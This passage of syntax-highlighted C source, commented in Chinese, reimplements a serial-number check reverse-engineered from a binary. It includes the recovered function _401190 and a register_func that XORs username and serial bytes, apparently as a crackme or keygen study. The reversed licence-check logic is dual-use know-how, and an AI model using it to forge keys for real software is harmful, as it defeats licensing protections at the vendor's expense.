<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_0_7</span><span class="p">,</span><span class="w"> </span><span class="s">"%02X"</span><span class="p">,</span><span class="w"> </span><span class="n">_string</span><span class="p">[</span><span class="n">_begin</span><span class="o">+</span><span class="mi">3</span><span class="p">]);</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">hex_string</span><span class="p">[</span><span class="mi">8</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="n">strcpy</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="n">_0_7</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcat</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="n">_8_15</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcat</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="n">_16_23</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcat</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="n">_24_31</span><span class="p">);</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">_ret_val</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">_ui</span><span class="p">)</span><span class="n">strtoul</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="mi">16</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">_ret_val</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">hex_to_string</span><span class="p">(</span><span class="n">_ui</span><span class="w"> </span><span class="n">_hex_value</span><span class="p">,</span><span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">_ret_string</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">_s_15</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_hex_value</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0xFF000000</span><span class="p">;</span>
<span class="w"> </span><span class="n">_s_15</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_s_15</span><span class="w"> </span><span class="o">>></span><span class="w"> </span><span class="mi">24</span><span class="p">;</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">_s_14</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_hex_value</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0x00FF0000</span><span class="p">;</span>
<span class="w"> </span><span class="n">_s_14</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_s_14</span><span class="w"> </span><span class="o">>></span><span class="w"> </span><span class="mi">16</span><span class="p">;</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">_s_13</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_hex_value</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0x0000FF00</span><span class="p">;</span>
<span class="w"> </span><span class="n">_s_13</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_s_13</span><span class="w"> </span><span class="o">>></span><span class="w"> </span><span class="mi">8</span><span class="p">;</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">_s_12</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_hex_value</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0x000000FF</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">_s_12</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mh">0x30</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="n">_s_12</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="mh">0x7E</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="n">_s_13</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mh">0x30</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="n">_s_13</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="mh">0x7E</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="n">_s_14</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mh">0x30</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="n">_s_14</span><span class="o">></span><span class="w"> </span><span class="mh">0x7E</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="n">_s_15</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mh">0x30</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="n">_s_15</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="mh">0x7E</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">hex_string</span><span class="p">[</span><span class="mi">4</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_tmp_val</span><span class="p">,</span><span class="w"> </span><span class="s">"%c"</span><span class="p">,</span><span class="w"> </span><span class="n">_s_12</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcpy</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">);</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_tmp_val</span><span class="p">,</span><span class="w"> </span><span class="s">"%c"</span><span class="p">,</span><span class="w"> </span><span class="n">_s_13</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcat</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">);</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_tmp_val</span><span class="p">,</span><span class="w"> </span><span class="s">"%c"</span><span class="p">,</span><span class="w"> </span><span class="n">_s_14</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcat</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">);</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_tmp_val</span><span class="p">,</span><span class="w"> </span><span class="s">"%c"</span><span class="p">,</span><span class="w"> </span><span class="n">_s_15</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcat</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcpy</span><span class="p">(</span><span class="n">_ret_string</span><span class="p">,</span><span class="w"> </span><span class="n">hex_string</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">_ui</span><span class="w"> </span><span class="nf">_401190</span><span class="p">(</span><span class="n">_ui</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">ebx</span><span class="p">,</span><span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">ecx</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="n">ecx</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="mh">0x80</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">_tmp_val</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ecx</span><span class="p">;</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">esi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ecx</span><span class="p">;</span>
<span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0xFF</span><span class="p">;</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">edi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">eax</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="n">ecx</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="mh">0x08</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">edi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ebx</span><span class="p">;</span>
<span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">>></span><span class="w"> </span><span class="mi">4</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="n">ecx</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">edi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_rotl</span><span class="p">(</span><span class="n">edi</span><span class="p">,</span><span class="w"> </span><span class="mi">8</span><span class="p">);</span>
<span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">>></span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">esi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">esi</span><span class="w"> </span><span class="o">>></span><span class="w"> </span><span class="mi">8</span><span class="p">;</span>
<span class="w"> </span><span class="n">edi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">edi</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="n">esi</span><span class="p">;</span>
<span class="w"> </span><span class="n">edi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">edi</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0xFF</span><span class="p">;</span>
<span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">;</span>
<span class="w"> </span><span class="n">esi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x80</span><span class="p">;</span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="p">((</span><span class="n">esi</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="n">edi</span><span class="p">)</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">esi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">esi</span><span class="w"> </span><span class="o">>></span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="c1">// 只有esi和edi与运算的结果等于0且esi右移1位等于0的时候,这个循环才会被打破</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="n">esi</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">else</span>
<span class="w"> </span><span class="k">continue</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">edi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">edi</span><span class="w"> </span><span class="o">^</span><span class="w"> </span><span class="n">esi</span><span class="p">;</span>
<span class="w"> </span><span class="n">_tmp_val</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">edi</span><span class="p">;</span>
<span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0xFF00</span><span class="p">;</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">_exch_val</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ecx</span><span class="p">;</span>
<span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">esi</span><span class="p">;</span>
<span class="w"> </span><span class="n">esi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_exch_val</span><span class="p">;</span>
<span class="w"> </span><span class="c1">// 对CH和CL进行异或运算,并将结果反映到ECX上</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">ch</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0xFF00</span><span class="p">;</span>
<span class="w"> </span><span class="n">ch</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ch</span><span class="w"> </span><span class="o">>></span><span class="w"> </span><span class="mi">8</span><span class="p">;</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">cl</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0xFF</span><span class="p">;</span>
<span class="w"> </span><span class="n">ch</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ch</span><span class="w"> </span><span class="o">^</span><span class="w"> </span><span class="n">cl</span><span class="p">;</span>
<span class="w"> </span><span class="n">ch</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ch</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="mi">8</span><span class="p">;</span>
<span class="w"> </span><span class="n">ch</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ch</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0xFF00</span><span class="p">;</span>
<span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0xFFFF00FF</span><span class="p">;</span>
<span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">ch</span><span class="p">;</span>
<span class="w"> </span><span class="n">esi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">esi</span><span class="w"> </span><span class="o">^</span><span class="w"> </span><span class="n">ecx</span><span class="p">;</span>
<span class="w"> </span><span class="n">_exch_val</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ecx</span><span class="p">;</span>
<span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">esi</span><span class="p">;</span>
<span class="w"> </span><span class="n">esi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_exch_val</span><span class="p">;</span>
<span class="w"> </span><span class="n">_TODO_counter</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"[*] _TODO counter: 0x%x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">_TODO_counter</span><span class="p">);</span>
<span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_401190</span><span class="p">(</span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="n">ebx</span><span class="p">,</span><span class="w"> </span><span class="n">ecx</span><span class="p">);</span>
<span class="w"> </span><span class="n">edi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">;</span>
<span class="w"> </span><span class="n">esi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x80</span><span class="p">;</span>
<span class="w"> </span><span class="k">continue</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">ecx</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">else</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">ecx</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">register_func</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">extend_user_name</span><span class="p">,</span><span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">serial</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"[*] current Serial: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">serial</span><span class="p">);</span>
<span class="w"> </span><span class="c1">// 获取用户名的0~3位并转换成整型数</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">string_to_hex</span><span class="p">(</span><span class="n">extend_user_name</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"[*] eax: %x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">eax</span><span class="p">);</span>
<span class="w"> </span><span class="c1">// 获取用户名的4~7位并转换成整型数</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">ebx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">string_to_hex</span><span class="p">(</span><span class="n">extend_user_name</span><span class="p">,</span><span class="w"> </span><span class="mi">4</span><span class="p">);</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"[*] ebx: %x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">ebx</span><span class="p">);</span>
<span class="w"> </span><span class="c1">// 获取序列号的0~3位并转换成整型数</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">_xor_eax</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">string_to_hex</span><span class="p">(</span><span class="n">serial</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"[*] the oprand xor with eax: %x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">_xor_eax</span><span class="p">);</span>
<span class="w"> </span><span class="c1">// 获取序列号的4~7位并转换成整型数</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">_xor_ebx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">string_to_hex</span><span class="p">(</span><span class="n">serial</span><span class="p">,</span><span class="w"> </span><span class="mi">4</span><span class="p">);</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"[*] the oprand xor with ebx: %x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">_xor_ebx</span><span class="p">);</span>
<span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">^</span><span class="w"> </span><span class="n">_xor_eax</span><span class="p">;</span>
<span class="w"> </span><span class="n">ebx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ebx</span><span class="w"> </span><span class="o">^</span><span class="w"> </span><span class="n">_xor_ebx</span><span class="p">;</span>
<span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0x7F3F1F0F</span><span class="p">;</span>
<span class="w"> </span><span class="n">ebx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ebx</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0x07030100</span><span class="p">;</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"[*] eax is ready for loop: %x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">eax</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"[*] ebx is ready for loop: %x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">ebx</span><span class="p">);</span>
<span class="w"> </span><span class="c1">// 下面开始循环</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">loop_counter</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">while</span><span class="p">(</span><span class="n">loop_counter</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mi">8</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">_________________OO<--%d-->OO_________________</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">loop_counter</span><span class="p">);</span>
<span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">loop_counter</span><span class="p">;</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">esi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">eax</span><span class="p">;</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">edi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ebx</span><span class="p">;</span>
<span class="w"> </span><span class="n">esi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">esi</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="n">ecx</span><span class="p">;</span>
<span class="w"> </span><span class="n">edi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">edi</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="n">ecx</span><span class="p">;</span>
<span class="w"> </span><span class="c1">// 这一步其实就是获取到esi和edi每个字节中的最高位</span>
<span class="w"> </span><span class="n">esi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">esi</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0x80808080</span><span class="p">;</span>
<span class="w"> </span><span class="n">edi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">edi</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0x80808080</span><span class="p">;</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">edx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">esi</span><span class="p">;</span>
<span class="w"> </span><span class="c1">// 下面这一堆移位操作其实是把每个字节中的最高位移动到了DL的高四位中</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">_d</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">edx</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0x80000000</span><span class="p">;</span>
<span class="w"> </span><span class="n">_d</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_d</span><span class="w"> </span><span class="o">>></span><span class="w"> </span><span class="mi">31</span><span class="p">;</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">_c</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">edx</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0x00800000</span><span class="p">;</span>
<span class="w"> </span><span class="n">_c</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_c</span><span class="w"> </span><span class="o">>></span><span class="w"> </span><span class="mi">23</span><span class="p">;</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">_b</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">edx</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0x00008000</span><span class="p">;</span>
<span class="w"> </span><span class="n">_b</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_b</span><span class="w"> </span><span class="o">>></span><span class="w"> </span><span class="mi">15</span><span class="p">;</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">_a</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">edx</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0x00000080</span><span class="p">;</span>
<span class="w"> </span><span class="n">_a</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_a</span><span class="w"> </span><span class="o">>></span><span class="w"> </span><span class="mi">7</span><span class="p">;</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">_DL_H4_0_3</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_DL_H4_0_3</span><span class="p">,</span><span class="w"> </span><span class="s">"%X"</span><span class="p">,</span><span class="w"> </span><span class="n">_d</span><span class="o">*</span><span class="mi">8</span><span class="o">+</span><span class="n">_c</span><span class="o">*</span><span class="mi">4</span><span class="o">+</span><span class="n">_b</span><span class="o">*</span><span class="mi">2</span><span class="o">+</span><span class="n">_a</span><span class="p">);</span>
<span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">hex_string</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="mi">2</span><span class="o">+</span><span class="mi">1</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcpy</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="n">_DL_H4_0_3</span><span class="p">);</span>
<span class="w"> </span><span class="n">edx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">_ui</span><span class="p">)</span><span class="n">strtoul</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="mi">16</span><span class="p">);</span>
<span class="w"> </span><span class="n">free</span><span class="p">(</span><span class="n">hex_string</span><span class="p">);</span>
<span class="w"> </span><span class="n">edx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">edx</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="mi">4</span><span class="p">;</span>
<span class="w"> </span><span class="n">esi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">edx</span><span class="p">;</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"[*] esi: 0x%x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">esi</span><span class="p">);</span>
<span class="w"> </span><span class="cm">/*</span>
<span class="cm"> 我们分别用ABCD代表一个32位数中每个字节的最高位</span>
<span class="cm"> |-----------------| |--------DX-------|</span>
<span class="cm"> | | |---DH--| |--DL---|</span>
<span class="cm"> D000 0000 C000 0000 B000 0000 A000 0000 DH >> 7</span>
<span class="cm"> D000 0000 C000 0000 0000 000B A000 0000 DX << 7</span>
<span class="cm"> D000 0000 C000 0000 BA00 0000 0000 0000 EDX >> 8</span>
<span class="cm"> 0000 0000 D000 0000 C000 0000 BA00 0000 DH >> 7</span>
<span class="cm"> 0000 0000 D000 0000 0000 000C BA00 0000 DX << 7</span>
<span class="cm"> 0000 0000 D000 0000 CBA0 0000 0000 0000 EDX >> 8</span>
<span class="cm"> 0000 0000 0000 0000 D000 0000 CBA0 0000 DH >> 7</span>
<span class="cm"> 0000 0000 0000 0000 0000 000D CBA0 0000 DX >> 1</span>
<span class="cm"> 0000 0000 0000 0000 0000 0000 DCBA 0000</span>
<span class="cm"> */</span>
<span class="w"> </span><span class="n">edx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">edi</span><span class="p">;</span>
<span class="w"> </span><span class="c1">// 下面这一堆移位操作其实是把每个字节中的最高位移动到了DL的低四位中</span>
<span class="w"> </span><span class="cm">/*</span>
<span class="cm"> 我们分别用ABCD代表一个32位数中每个字节的最高位</span>
<span class="cm"> |-----------------| |--------DX-------|</span>
<span class="cm"> | | |---DH--| |--DL---|</span>
<span class="cm"> D000 0000 C000 0000 B000 0000 A000 0000 DH >> 7</span>
<span class="cm"> D000 0000 C000 0000 0000 000B A000 0000 DX << 7</span>
<span class="cm"> D000 0000 C000 0000 BA00 0000 0000 0000 EDX >> 8</span>
